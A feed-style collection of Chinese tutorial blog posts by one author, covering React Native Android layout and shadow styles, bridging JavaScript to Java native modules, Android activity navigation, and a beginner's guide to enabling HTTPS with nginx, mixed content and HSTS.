<p><img src="/img/bVBWfm" alt="232708_veq0_1177792.png" title="232708_veq0_1177792.png"><br>图3.4.5<br>我们看到,剧情发生了反转,有elevation的hello1,覆盖住了在文档流中后出现的hello2。其实hello2的elevation值,我们可以认为是0,</p>
<p>结论:当两个元素,显示上有重叠的时候,elevation大的元素,会覆盖掉elevation值较小的元素。</p>
<p>相应的例子代码,在本文例子中的index.android.js.elevation文件里。</p>
<p>上面,我们讨论了position为绝对定位的时候的排布规律,而如果position设定为relative的话,会怎样呢(如图3.4.6)?</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
},
rotateBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
},
back2: {
position: 'relative',
backgroundColor: '#f00',
},
back3: {
},
});</code></pre>
<p><img src="/img/bVBWfD" alt="223214_E0n1_1177792.png" title="223214_E0n1_1177792.png"><br>图3.4.6<br>我们看到,并没有发生什么异样,文档流还是那个文档流,but,如果此时,我们设置了left: 20的话,我们再来看看效果,如图3.4.7</p>
<pre><code>back2: {
position: 'relative',
left: 20,
backgroundColor: '#f00',
},</code></pre>
<p><img src="/img/bVBWfQ" alt="223542_KkX1_1177792.png" title="223542_KkX1_1177792.png"><br>图3.4.7</p>
<p>第二个view并未脱离文档流,而是按照自己之前的位置,进行了偏移。</p>
<p>如上述所示,其实各位发现react的定位,并不复杂。另外,元素默认的position,是relative,所以其实上面的例子,我们不用指定position,也能得到同样的效果:</p>
<pre><code>back2: {
left: 20,
backgroundColor: '#f00',
}, </code></pre>
<p>具体代码详见本文例子中的:index.android.js.boxLayout文件。</p>
<h3>3.5 文字相关</h3>
<p>react-native中,文字相关的样式设定,我们将会单独拿出一节来讨论。请各位关注,很快就会产出。</p>
<h3>3.6 阴影相关</h3>
<p>阴影可以让我们的应用变得更加的立体,呈现出更好的展示效果。让我们一起将阴影系列的属性一一实践。</p>
<p>shadowColor</p>
<p>shadowOffset</p>
<p>shadowOpacity</p>
<p>shadowRadius</p>
<p>这些属性,目前只适用于IOS系统,android的话,有一个替代属性elevation,这个属性影响着元素的z-index,就是绝对定位时的覆盖顺序(上面我们提到过),也会在元素上产生一个阴影。</p>
<p>我们可以利用这个属性来设定阴影,elevation的值会影响阴影的offset(如图3.6.1):</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>Hello1</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
},
shadowBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
elevation: 5,
},
});</code></pre>
<p><img src="/img/bVBWgz" alt="233545_0fUV_1177792.png" title="233545_0fUV_1177792.png"><br>图3.6.1<br>就这样,我们成功的看到了阴影,不过这个属性要慎用,因为它会影响z轴上的排列顺序。</p>
<p>具体代码详见本文例子中的:index.android.js.elevation2文件。</p>
<h3>3.7 其他属性</h3>
<p>由于其他属性较为散乱也较为复杂,我们接下来将专门花去一篇的篇幅,来逐一讲解这些属性,请各位看官关注我的博客,很快就会更新。</p>
<p>本文中提到的例子,均在下面的github上,需要的话请下载:</p>
<p><a href="https://link.segmentfault.com/?enc=U9%2FMa9mjegzfvDlUo8AJIw%3D%3D.3BBz8L%2BR6mAnnW7OEUcCuptE7dQQ8jGIKWi%2BYmGLqEfPDANYDoHzgZSr6h5OtJC7OBZU41oTPBH858YnMJNNbC4TgJNVy28gpX2zzBVYYoU%3D" rel="nofollow">https://github.com/houyu01/re...</a></p>
<p>接下来,我会详细的带大家一起了解一下react-native的flex布局,不要走开,请关注我.......</p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<p><strong>以上内容仅代表笔者个人观点,如有意见请通知笔者。</strong></p>
[React Native Android 安利系列]js调用java组件原理
https://segmentfault.com/a/1190000006225646
2016-08-10T12:52:20+08:00
2016-08-10T12:52:20+08:00
侯医生
https://segmentfault.com/u/doctorhou
2
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有:<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>上节说到,我们可以通过react-native的接口,来向js中导出原生的方法,并可以被调用,这节,我们来分析一下,整个过程是怎样的,作为我们系列教程中的一节,其实只是辅助我们更好的开发和理解,不感兴趣的同学可以直接跳过看下一章<del>~</del></p>
<h2>1. 大致原理</h2>
<p>react-native中js与java沟通的主要桥梁就是jscore与jni了。下面,我们捋一下整个流程。</p>
<p>1.1 <strong>react-native 在java中注册的模块及其方法。</strong>在初始化的时候,java通过JNI,注册统一方法到C++中。</p>
<p>1.2 <strong>C++在初始化的时候,会注册一个全局的方法,到jscore中。</strong>该方法js可以调用,并且会调用C++方法。</p>
<p>1.3 <strong>js运行时,会通过nativeModule将原生方法暴露,</strong>在js调用方法的时候去调用C++提供的全局方法。</p>
<p>1.4 <strong>C++通过js的调用,反射查找java类,</strong>并调用java的方法。去告诉java执行某一方法。</p>
<p>1.5 <strong>java被调用,执行我们之前注册过的java方法。</strong></p>
<h2>2. 图解</h2>
<p>以下为整个过程的图解:(拿windows附件里面的画图画的,太难看,大家不要见怪.....)<br><img src="/img/bVAhJJ" alt="151942_tXBq_1177792.png" title="151942_tXBq_1177792.png"><br>因为是讲解,本文没有代码例子。如果想更加详细的了解调用关系,及详细代码,推荐参考这篇文章:</p>
<p><a href="https://link.segmentfault.com/?enc=FGcYc6ZiDlY%2Bj%2BgiIn%2Bmag%3D%3D.Cqmso%2FLKgwoFVGgXT%2BPyxXEamw%2BUf%2BVLvDlUOoFyaXLaLOQaREKwKUewoBBXNclr" rel="nofollow">https://zhuanlan.zhihu.com/p/...</a><br>下节更精彩,我们将来一起看看react-native-android的样式的写法及常见的布局小例子,不要错过哦<del>~</del></p>
[聊一聊系列]聊一聊HTTPS那些事儿
https://segmentfault.com/a/1190000006199237
2016-08-08T01:02:22+08:00
2016-08-08T01:02:22+08:00
侯医生
https://segmentfault.com/u/doctorhou
24
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>相信很多前端同学们,都听说过https,现在很多大的站点(如天猫、百度等),均使用了https协议进行传输。但是https如何使用,做什么用的,往往并不十分了解。今天我们就来一起聊一聊HTTPS那些事儿,且不说底层实现(毕竟想深入学习的同学可以自行百度),只来聊一聊我们如何使用这种方式来武装我们的网站~~也谈一谈实际应用时的一些问题。</p>
<h2>1. 什么是https</h2>
<p>https是http的加密版本,是在http请求的基础上,采用ssl进行加密传输。</p>
<p>咱们平时的http请求是明文传输,也就是说,如果经过电信运营商(电信、移动等,或者方正等),传输过程中,信息是可以被截获的(网站的form表单、html等)。有些运营商甚至会劫持你的网站(稍后详细讲解).那么网页如果进行了加密,在客户端与服务端的传输过程中,咱们的https请求内容即使被截获了,也无法读取其内容,或者加入一些劫持者想要的效果。笔者认为,如果网站有涉及到一些私密信息,或者网站本身的流量比较大,可以产生一些经济价值的话,都尽量使用https进行传输。</p>
<h2>2. 做什么用呢?</h2>
<h3>2.1 加密数据</h3>
<p>你的网站如果有登录这种东西的话建议尽量使用https做,这样可以保证用户名、密码不被截获。咱们平时使用的post请求中所带的用户名密码等,非常容易被获取到。这点正如你小时候写小纸条的时候,让同学传递显然不安全,谁知道纸条传到前排同学之前,会不会被老师拦截呢。很多大网站均已采用了https,比如,一号店网站的首页,虽然是http协议的(如图2.1.1),但是登录的页面,使用的却是https协议(如图2.1.2,想必也是为了登录安全性)。</p>
<p><img src="/img/bVAat8" alt="clipboard.png" title="clipboard.png"><br>图2.1.1</p>
<p><img src="/img/bVAat9" alt="clipboard.png" title="clipboard.png"><br>图2.1.2</p>
<h3>2.2 反劫持</h3>
<p>劫持这种东西,最典型的例子,应该就是,有的时候手机上浏览网站的时候,会有小圆球提醒你流量已经用了百分之多少了。如果猜的没错的话,应该是移动运营商劫持了网页,并将流量提醒插在这些网页中的。这点也正如,你传了个小纸条给同学,中间说不准就被谁把原话给改掉了。</p>
<p>别以为劫持只是在你的网页里面插一些小广告,既然连广告都插得了,插一些js把你的cookie传到自己服务器上,也不是什么难事儿。亦或者做个钓鱼网页,让用户输入用户名和密码,也是非常容易的。所以,劫持是一件非常恐怖的事情。我们使用了https进行加密的话,则可以在大部分情况下规避这种危害。https加密后,中间商们无法再随意向加过密的html内容中插入的自己的代码了。</p>
<h3>2.3 SEO</h3>
<p>其实谷歌对于https的网站,搜索结果会给予更高的排名。国内的话,主要还是使用百度搜索引擎,但是百度搜索引擎目前只收录少部分的https网页,目前百度不主动抓取https页面。所以,如果是国内网站需要做seo的话,建议每张网页都提供http/https两种版本的访问方式。或者主页面、需要被抓取的页面使用http方式,而登录等功能采用https方式(就像一号店,或者京东),如我们在百度中搜索京东商城(如图2.3.1),其实点击进入的是京东的http版本(如图2.3.2)。其实,京东是提供https访问的(如图2.3.3),这里怀疑与seo有关。</p>
<p><img src="/img/bVAavJ" alt="clipboard.png" title="clipboard.png"><br>图2.3.1</p>
<p><img src="/img/bVAavO" alt="clipboard.png" title="clipboard.png"><br>图2.3.2</p>
<p><img src="/img/bVAav7" alt="clipboard.png" title="clipboard.png"><br>图2.3.3</p>
<h2>3. 如何开启https</h2>
<p>这里,我们使用nginx来简单的了解一下https的使用方式。</p>
<p>由于我们是在本地实验,所以可以先使用一个本地生成的证书进行实验。</p>
<h3>3.1 生成私钥与证书</h3>
<p>首先进入一个生成证书的目录下(自己随便建一个就好),你需要执行一下命令(如果接下来,没有权限的话,<code>server.key: Permission denied</code>则加上sodu就好了)</p>
<p>执行下面的命令,并按照提示,输入口令,接下来,凡是提示需要输入口令的地方,都需要输入这个口令:</p>
<pre><code>openssl genrsa -des3 -out server.key 1024</code></pre>
<pre><code>openssl req -new -key server.key -out server.csr</code></pre>
<pre><code>openssl rsa -in server.key -out server.key.out</code></pre>
<p>标记私钥与证书</p>
<pre><code>openssl x509 -req -days 365 -in server.csr -signkey server.key.out -out server.crt</code></pre>
<h3>3.2 配置nginx</h3>
<p>如下所示,配置nginx,ssl_certificate的路径,写成刚刚生成证书的路径即可,ssl_certificate_key也写为刚刚生成私钥的路径即可,如图3.2.1</p>
<p><img src="/img/bVAaHt" alt="clipboard.png" title="clipboard.png"><br>图3.2.1</p>
<h3>3.3 重启nginx,查看效果</h3>
<p>访问<a href="https://link.segmentfault.com/?enc=2k6QCNTEvUYz9zvJIlxvWA%3D%3D.EGJkjjqWWWmDnOf2XMDVmpsBesYSoVvIWuaqxgCzOmk%3D" rel="nofollow">https://localhost</a>时,可能会弹出这种警告(如图3.3.1),或者这种警告(如图3.3.2),直接继续就好,这是因为咱们的证书是自己手动生成的。接下来就能看到效果了(如图3.3.3)。</p>
<p><img src="/img/bVAaHF" alt="clipboard.png" title="clipboard.png"><br>图3.3.1</p>
<p><img src="/img/bVAaHY" alt="clipboard.png" title="clipboard.png"><br>图3.3.2</p>
<p><img src="/img/bVAaJt" alt="clipboard.png" title="clipboard.png"><br>图3.3.3</p>
<p>如果想接下来不弹出这种警告,就要在浏览器中安装自己生成的证书了。浏览器安装证书,步骤如下,想了解的同学自行百度一下"chrome导入https证书",把自己的证书crt文件导入即可。使用其他类型的server的同学,可以自己查一下,如何配置server的https服务。还有,需要做线上服务的同学,尽量使用证书机构颁发的证书,(现在有很多免费的证书),这样不会给用户弹出一些奇怪的界面。</p>
<h2>4. 网站如何适配?</h2>
<p>如果我们想要将自己的网站https化,那么其中的资源肯定是需要均为https协议传输的。否则,如果一个https的网站,使用了http的资源的话,那么这个资源被劫持,整个网站也相当于被劫持了。这就没有意义了。而且,很多http的资源在https的环境下,浏览器甚至都不让其加载。接下来我们就来盘点一下https的网站中引入的资源的一些问题。</p>
<h3>4.1 http资源无法加载</h3>
<p>在https环境下,http协议的js/css/请求/iframe等资源是根本加载不进来的(如图4.1.1)。</p>
<p><img src="/img/bVAaKM" alt="clipboard.png" title="clipboard.png"><br>图4.1.1</p>
<p>所以,如果想要使用这些资源的话,需要把访问这些资源的方式,转换为https,稍后会说道如何解决。我们称这种https页面中引用http资源的方式为"mix content"</p>
<h3>4.2 图片/视频/音频的特殊性</h3>
<p>为什么要单独拿出这些资源说一下呢,在w3c的规范中,这些资源本应该也和其他静态资源一样---https的环境下,引用http的图片是会被阻止掉的。笔者在去年实践的时候,chrome等主流浏览器还是会阻止这些http资源的加载的。也就是说,https的页面引用http的图片的话,图会裂掉。</p>
<p>可是,新版的chrome并没有按照规范去做。而是在https的环境下,依然可以加载并展示http的图片/视频/音频等资源(如图4.2.1)。这是因为,其实很多目前互联网上的很多网站,还是比较混乱的,为了保证整个互联网的用户体验,chrome等浏览器,对于这种加载还是进行了宽容对待。可是,就算是这样,也不代表我们应该再https的页面中加载http的资源,毕竟,这样会失去我们最初https加密的意义,安全的网页上加载了不安全的资源,整个网页还是不安全的。<strong>所以笔者建议,即使加载http的图片资源可以展示,还是规范读者们不要这样做。</strong></p>
<p><img src="/img/bVAaNg" alt="clipboard.png" title="clipboard.png"><br>图4.2.1</p>
<h3>4.3 如何解决混合资源加载问题</h3>
<h5>1 动态判断与协议相对URL</h5>
<p>比如京东商城,在访问<a href="https://link.segmentfault.com/?enc=jj38orGUhEgCIlhN7NvDKA%3D%3D.bqCPghE9JLeRRUhDBMbW5Qx7ySOWwB5Xwhi6g9uswKQ%3D" rel="nofollow">http://www.jd.com</a>的时候,css是使用http协议加载的,如图4.3.1</p>
<p><img src="/img/bVAaMu" alt="clipboard.png" title="clipboard.png"><br>图4.3.1</p>
<p>在使用<a href="https://link.segmentfault.com/?enc=EoujWHb8Sx%2Fs8SvXbTuHLw%3D%3D.vx3mAsQ%2FqwHU3GN9QWC%2FUcm%2BfLfECrF62vIm2OLrUGA%3D" rel="nofollow">https://www.jd.com</a>的时候,静态资源均变成了相应域名的https地址,如图4.3.2</p>
<p><img src="/img/bVAaMF" alt="clipboard.png" title="clipboard.png"><br>图4.3.2</p>
<p>笔者更建议的是,如果自己的静态服务器,两种协议均支持(即<a href="https://link.segmentfault.com/?enc=bFAIhkFOh8vKBrOelHaimg%3D%3D.%2F61nNFOsHn%2BFWEhef0%2FkivubxkVNu50v1wWzUP3ob%2B4%3D" rel="nofollow">http://xxx.com/a.js</a>与<a href="https://link.segmentfault.com/?enc=YcOhCOOGDce7cv5AvYjE7Q%3D%3D.kF20pm1ZZcNnNOFoXkrjSRAsDi6DBSW8Qvy4DOdlHAE%3D" rel="nofollow">https://xxx.com/a.js</a>均可支持访问)的话,则直接在引用资源的时候,去掉协议头,改为相对协议,如//xxx.com/a.js。这样,请求a.js这个资源的时候,浏览器会按照当前页面的协议,进行请求,这叫做-----"协议相对地址"</p>
<p>比如京东商城中的一个js资源(如图4.3.3),写的便是协议相对地址:</p>
<p><img src="/img/bVAa3j" alt="clipboard.png" title="clipboard.png"><br>图4.3.3</p>
<p>再http的环境下,请求的便是以http为开头的此资源(如图4.3.4)。在https的环境下,请求的便是https为开头的此资源(如图4.3.5)</p>
<p><img src="/img/bVAa3J" alt="clipboard.png" title="clipboard.png"><br>图4.3.4</p>
<p><img src="/img/bVAa38" alt="clipboard.png" title="clipboard.png"><br>图4.3.5</p>
<h5>2 自己做个https代理</h5>
<p>如果自己的资源服务,不支持https访问的话,我们可以采用代理的方式,来引入这些文件。最简单的方式就是使用nginx,将引入的静态文件均做个代理。也就是说,访问资源的时候,用的是咱们的代理地址,但是拿文件的时候,还是会去http的源地址去拿的。</p>
<h2>5. 速度影响</h2>
<p>使用https对网站传输进行加密,虽然有很多好处,但是也有弊端,那就是</p>
<h3>5.1 加密/解密的过程是需要消耗时间的</h3>
<p>毕竟需要对传输的数据进行加密/解密,算法耗时是肯定有的。</p>
<h3>5.2 交换公钥/私钥消耗时间</h3>
<p>https传输在传输之前是需要再服务端与客户端交换公钥/私钥的,这个过程也是非常耗时的。有统计称https的链接耗时是http的连接耗时的3倍。</p>
<h3>5.3 跳转消耗时间</h3>
<p>这里还有一个影响速度的点,那就是用户在浏览器中输入网址的时候,是不会去自己输入https协议头的,如果你在浏览器中输入www.jd.com的话,默认浏览器访问的是<a href="https://link.segmentfault.com/?enc=iS6pDII0sdnB%2FcwWiIE4wA%3D%3D.B3YvQgKmq7u8fkbB3ts4nDP%2F37IR%2BZE5f480GXAyxWo%3D" rel="nofollow">http://www.jd.com</a>的,如果我们想要用户访问https的网站的话,就要自己进行一次网页重定向,重定向也是比较耗时的操作。这都会对我们的网站速度造成影响。</p>
<h2>6. HSTS</h2>
<p>在第5节中,我们提到了,如果用户在浏览器端,输入www.jd.com实际上,浏览器会默认将这个网址补全为<a href="https://link.segmentfault.com/?enc=1ipEYxsSlZaUiG5kDo3x%2Fg%3D%3D.cjs6KdS2irvFxX5tteG18K%2BaB0ikN8jro1bHyqZRPbc%3D" rel="nofollow">http://www.jd.com</a>而不是<a href="https://link.segmentfault.com/?enc=fsS3NYfb%2BJy9eAP23%2FRqvQ%3D%3D.jjIPPkJF69Qz%2B7it7rQ3LQX%2BQL2LCQp0nPIbAjV2kXQ%3D" rel="nofollow">https://www.jd.com</a>。于是乎,我们如果想让用户访问我们的https版本网站,还得将页面强行重定向(跳转)一下。这是一个比较耗时的操作。而且有些时候,还没等我们重定向网页呢,就被运营商给劫持了。于是,接下来也跳不了了。怎么办?能不能在用户输入www.jd.com的时候,直接就访问到<a href="https://link.segmentfault.com/?enc=NmEbj1uOjBlJaq26jMIuNA%3D%3D.ew0CRsCwBhWUoZVHlQJF8hSaymThYWgJ51fshRuupsU%3D" rel="nofollow">https://www.jd.com</a>呢?当然可以,我们需要介绍一下我们的新武器了-------HSTS。</p>
<p>其实hsts的做法比较简单,只要在用户访问网站的时候,响应头中加入<code>Strict-Transport-Security</code>这个头,浏览器接下来的访问就均会默认采用https的方式进行访问了。我们看到天猫在网站中加入了这个头部(如图6.1),我们下次直接输入网址<a href="https://link.segmentfault.com/?enc=ftNPCsHbzPQhlbNeGLZPfQ%3D%3D.eP4Cvm3aB2FvyXpu3gKOSASDX3n7n68XS00buJxYx9Q%3D" rel="nofollow">http://www.tmall.com</a>的时候,就可以看到,浏览器提前做了浏览器的内部跳转,如图6.2</p>
<p><img src="/img/bVAaRa" alt="clipboard.png" title="clipboard.png"><br>图6.1</p>
<p><img src="/img/bVAaRd" alt="clipboard.png" title="clipboard.png"><br>图6.2</p>
<p>建议使用https的站长们都加上这个头部,即提升了网站速度,又提高了网站的安全性。何乐而不为呢。</p>
<h2>7. 课后作业</h2>
<ol>
<li><p>本文中没有详细的描述https是如何加密解密的,同学们可以详细的去学习一下</p></li>
<li><p>回想一下自己的网站使用https是否适合呢?又是否已经使用了呢?</p></li>
</ol>
<p>接下来的一篇文章,我将会和读者们一起<a href="https://segmentfault.com/a/1190000006672214">聊聊web前端安全那些事儿</a>,不要走开,请关注我.....</p>
<p><a href="https://segmentfault.com/a/1190000006672214">https://segmentfault.com/a/11...</a></p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<p><strong>以上内容仅代表笔者个人观点,如有意见请通知笔者。</strong></p>
[React Native Android 安利系列]RN中使用js调用java代码
https://segmentfault.com/a/1190000006191310
2016-08-06T18:08:31+08:00
2016-08-06T18:08:31+08:00
侯医生
https://segmentfault.com/u/doctorhou
4
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有:</p>
<p><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>书接上节,我们上节说道,如何控制原生android的activity间跳转,这次,我们试着用js去操控这个过程。</p>
<h2>1. 为你的应用添加一个js可调用的java接口</h2>
<p>既然要使用js去调用java,那我们的第一步,当然是提供一个js可以调用的java接口了。</p>
<h3>1.1 提供一个跳转的函数</h3>
<p>首先,照着上节的思路,我们将activity之间的跳转,封装成一个函数,放在MainActivity里面。如下:</p>
<pre><code>public class MainActivity extends ReactActivity {
public void skip() {
Intent intent = new Intent(this, DetailActivity.class);
startActivity(intent);
}
....
}</code></pre>
<h3>1.2 新建一个类,来存放我们需要被调用的java代码</h3>
<p>紧接着我们需要新建一个类(MyExtension)继承自ReactContextBaseJavaModule这个抽象类,之后我们新建的这个类,可以承载我们暴露给js的方法。让我们动手开始写这个类吧。</p>
<h4>1.2.1 新建一个包---extension,如图1.2.1</h4>
<p><img src="/img/bVz8NB" alt="110823_v6iz_1177792.png" title="110823_v6iz_1177792.png"><br>图1.2.1</p>
<h4>1.2.2 在包下,新建一个类---MyExtension,如图1.2.2</h4>
<p><img src="/img/bVz8NC" alt="111032_lTl5_1177792.png" title="111032_lTl5_1177792.png"><br>图1.2.2</p>
<p>代码如下:</p>
<pre><code>package com.hellowreact.extension;
import android.content.Intent;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.hellowreact.DetailActivity;
import com.hellowreact.MainActivity;
/**
* Created by baidu on 16/6/12.
*/
public class MyExtension extends ReactContextBaseJavaModule {
public MyExtension(ReactApplicationContext reactContext) {
super(reactContext);
}
@ReactMethod
public void open() {
MainActivity activity = (MainActivity) getCurrentActivity();
activity.skip();
}
@Override
public String getName() {
return "MyExtension";
}
}</code></pre>
<p>这里有几个事项,注意一下:</p>
<p><strong>1. 我们继承自ReactContextBaseJavaModule这个抽象类</strong>。</p>
<p><strong>2. 我们需要重写getName方法,命名一下我们的扩展。以后我们可以在js里面按照名字找到这个扩展。</strong></p>
<p><strong>3. 我们写了一个open方法,这个方法是未来会导出到我们的js中,并可以被js调用的方法。</strong></p>
<h3>1.3 书写注册接口待用</h3>
<p>我们写好了方法,接着我们就要注册了,我们还在extension的包里面,新建一个类(ExtensionPackage),代码如下:</p>
<pre><code>package com.hellowreact.extension;
import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.JavaScriptModule;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* Created by baidu on 16/6/12.
*/
public class ExtensionPackage implements ReactPackage {
@Override
public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
List<NativeModule> modules = new ArrayList<>();
modules.add(new MyExtension(reactContext));
return modules;
}
@Override
public List<Class<? extends JavaScriptModule>> createJSModules() {
return Collections.emptyList();
}
@Override
public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
return Collections.emptyList();
}
}</code></pre>
<p>此时,我们的目录结构看起来应该是这样的,如图1.3.1<br><img src="/img/bVz8NG" alt="111430_ggmk_1177792.png" title="111430_ggmk_1177792.png"><br>图1.3.1</p>
<h3>1.4 将写好的接口注册到MainActivity中去</h3>
<p>接着,我们要在MainActivity中去注册我们写好的这个接口。<br>打开我们的MainActivity,其中有一个已经写好的方法 --- getPackages,如图1.4.1<br><img src="/img/bVz8NH" alt="111639_MrBw_1177792.png" title="111639_MrBw_1177792.png"><br>图1.4.1<br>我们在其中,加入我们写好的接口(ExtensionPackage)</p>
<h2>2 重新运行app,并在js中查看接口是否已经存在与js中</h2>
<p>上述步骤完成之后,就意味着我们的接口已经导出了,接下来我们首先要验证一下。我们打开index.android.js并在require的模块中,增加一个NativeModules(如图2.1)<br><img src="/img/bVz8NK" alt="111942_5pb0_1177792.png" title="111942_5pb0_1177792.png"><br>图2.1</p>
<p>NativeModules中存放着我们可以调用的native模块,还记得当时定义我们的扩展时,起的名字是什么吗?<br><img src="/img/bVz8NL" alt="112207_1Ffr_1177792.png" title="112207_1Ffr_1177792.png"><br>图2.2</p>
<p>对!就是"MyExtension",既然已经注册好了,那么我们就在js中看看,是否已经有了呢?我们挑一个地方(本例中使用的是在constructor里)打印一下,看看是否已经有了呢(如图2.3)。<br><img src="/img/bVz8NP" alt="112102_geIu_1177792.png" title="112102_geIu_1177792.png"><br>图2.3</p>
<p>我们使用debug js,在chrome中调起调试界面(如果还不会使用,我们接下来的章节里会详细讲解,跟着我看看变量即可,如图2.4):<br><img src="/img/bVz8NR" alt="112532_kLo8_1177792.png" title="112532_kLo8_1177792.png"><br>图2.4</p>
<p>可以看下图2.5,我们成功的看到了当时我们导出的open函数:<br><img src="/img/bVz8NS" alt="112733_BcpG_1177792.png" title="112733_BcpG_1177792.png"><br>图2.5</p>
<p>good!!!</p>
<h2>3 尝试调用我们导出的open方法</h2>
<p>上一步中,我们惊喜的看到我们在java中定义的open方法已经能在控制台看到了。接下来,我们在点击list的时候,去调用一下open方法:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
console.log(NativeModules.MyExtension);
super(props);
var list = new ListView.DataSource({rowHasChanged: (r1, r2) => r1 !== r2});
this.state = {
list: list.cloneWithRows(['hello', 'react', 'this', 'is', 'my', 'listView'])
};
}
oneRow(oneItem) {
return <Text>{oneItem}</Text>;
}
seeDetail() {
NativeModules.MyExtension.open();
}
render() {
return (
<View style={styles.container}>
<ListView
dataSource={this.state.list}
renderRow={this.oneRow}
onTouchEnd={this.seeDetail}
/>
</View>
);
}
}</code></pre>
<p>接着,我们重新运行一下,效果如图3.1与图3.2<br><img src="/img/bVz8NV" alt="114239_Yeqf_1177792.png" title="114239_Yeqf_1177792.png"><br>图3.1<br><img src="/img/bVz8NY" alt="114304_ZQmn_1177792.png" title="114304_ZQmn_1177792.png"><br>图3.2</p>
<p>于是乎,我们看到了运行的效果。下一章,我们会一起看看react-native中,js调用原生代码的原理。</p>
<p>本文中所用的例子,可以在这里找到:</p>
<p><a href="https://link.segmentfault.com/?enc=7Vg5ZL%2FVGXJwRL3alzpSfw%3D%3D.LjYwe6Va0PsQAJovPnkM%2BXQx15bYeYVF4z78zhv20P1ox%2BhHpgCZUqv3JSKaXAVG8xrOR7mKH4IUqwBpDL2kpJ8eXYDvqJABNKxFhsTUoGwoJIgFJ%2B%2FBYnsxpMr%2F7xhN" rel="nofollow">https://github.com/houyu01/re...</a></p>
<p>下一节,我们将一起讨论一下,上述调用的RN底层原理,非常浅显易懂,不要错过:</p>
<p>原创文章,版权所有,转载请注明出处</p>
[React Native Android 安利系列]原生小知识(创建activity并跳转)
https://segmentfault.com/a/1190000006082315
2016-07-26T23:52:21+08:00
2016-07-26T23:52:21+08:00
侯医生
https://segmentfault.com/u/doctorhou
5
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>react-native毕竟也要有一些原生的知识,这里我们先学习一下原生android创建activity,并跳转的过程。这有助于我们的前端开发同学,掌握一下android姿势。本实验的view采用react进行渲染,也为后续的学习做下铺垫。如果已经有了相关知识的同学,直接跳过即可。</p>
<h2>1. android的activity跳转(原生基础小知识)</h2>
<p>在我们做js调用activity之前,先复习一下简单的android开发的知识---两个activity之间的跳转。<br>对于没有开发过android app的同学来说,需要先了解一下android的基础知识。android中有一个比较重要的组件--activity,是用于显示View的。比如,我们利用react创建的最简单的app,当我们一开始打开app的时候,其实就进入了一个主的activity,由其渲染我们的主界面,在这里,可以简单的理解activity为浏览器中的一个tab(可能并不严谨,不过对前端开发同学来说,可能更容易理解)。<br>两个activity之间,可以互相跳转(就像浏览器中的tab可以互相切换),我们来试试做两个activity,并让它们互相跳转(就像看到页面跳转那样的开心),这样我们就能更快的理解activity了。</p>
<h3>1.1 新建activity</h3>
<p>这里,我们利用之前构建的项目--helloReact来继续我们的旅途。<br>在这个项目中,我们看到了一个已经存在的activity,就是我们的主activity(如图1.1.1)。<br><img src="/img/bVzGqd" alt="011924_1I2H_1177792.png" title="011924_1I2H_1177792.png"><br>图1.1.1<br>接下来,我们新建一个activity,在com.hellowreact下(与MainActivity.java放在一起即可),右键点击文件夹,并选择new->java Class(图1.1.2)<br><img src="/img/bVzGqe" alt="012117_eLoq_1177792.png" title="012117_eLoq_1177792.png"><br>图1.1.2<br>这里我们起名为DetailActivity<br><img src="/img/bVzGqr" alt="012153_kRdb_1177792.png" title="012153_kRdb_1177792.png"><br>图1.1.3<br>代码直接从MainActivity中复制过来即可,并将getMainComponentName的返回值略作修改,改为"detail"</p>
<pre><code>package com.hellowreact;
import com.facebook.react.ReactActivity;
import com.facebook.react.ReactPackage;
import com.facebook.react.shell.MainReactPackage;
import java.util.Arrays;
import java.util.List;
/**
* Created by baidu on 16/6/8.
*/
public class DetailActivity extends ReactActivity {
/**
* Returns the name of the main component registered from JavaScript.
* This is used to schedule rendering of the component.
*/
@Override
protected String getMainComponentName() {
return "detail";
}
/**
* Returns whether dev mode should be enabled.
* This enables e.g. the dev menu.
*/
@Override
protected boolean getUseDeveloperSupport() {
return BuildConfig.DEBUG;
}
/**
* A list of packages used by the app. If the app uses additional views
* or modules besides the default ones, add more packages here.
*/
@Override
protected List<ReactPackage> getPackages() {
return Arrays.<ReactPackage>asList(
new MainReactPackage()
);
}
}</code></pre>
<h3>1.2 注册新的activity</h3>
<p>请注意,我们新建的activity需要在AndroidManifest.xml中进行注册,AndroidManifest.xml位于app/manifests/下。<br><img src="/img/bVzGqw" alt="012726_IR4T_1177792.png" title="012726_IR4T_1177792.png"><br>图1.2.1<br>我们打开AndroidManifest.xml,如图,可以看到其中已经有了一个叫MainActivity的activity<br><img src="/img/bVzGqF" alt="013040_04nR_1177792.png" title="013040_04nR_1177792.png"><br>图1.2.2<br>我们在其中再添加一项,如图1.2.3</p>
<pre><code><activity android:name=".DetailActivity" /></code></pre>
